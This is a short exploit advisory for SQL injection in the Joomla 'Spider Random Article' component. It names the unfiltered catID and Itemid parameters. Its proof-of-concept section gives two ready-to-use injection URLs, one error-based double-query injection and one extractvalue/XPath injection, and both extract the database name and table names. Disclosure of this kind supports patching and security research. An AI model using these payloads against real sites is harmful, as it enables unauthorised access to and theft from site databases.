Joomla Spider Random Article Component - SQL Injection

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#Exploit Title : Joomla Spider Random Article Component SQL Injection vulnerability
#Author        : Jagriti Sahu AKA Incredible
#Vendor Link   : http://demo.web-dorado.com/spider-random-article.html
#Date          : 22/03/2015
#Discovered at : IndiShell Lab
#Love to       : error1046 ^_^ ,Team IndiShell,Codebreaker ICA ,Subhi,Mrudu,Hary,Kavi ^_^
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/// Overview:
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joomla component "Spider Random Article" is not filtering data in catID and Itemid parameters
and hence affected by SQL injection vulnerability
 
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// Vulnerability Description:
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vulnerability is due to catID and Itemid parameter
 
 
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///  POC   ////
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SQL Injection in catID parameter
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Use error based double query injection with catID parameter
 
Injected Link--->
 
Like error based double query injection for exploiting username --->
http://server/index.php?option=com_rand&catID=1' and(select 1 FROM(select count(*),concat((select (select concat(database(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -&limit=1&style=1&view=articles&format=raw&Itemid=13
 
 
SQL Injection in Itemid parameter
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Itemid Parameter is exploitable using xpath injection
  
http://server/index.php?option=com_rand&catID=1&limit=1&style=1&view=articles&format=raw&Itemid=13'and extractvalue(6678,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -
 
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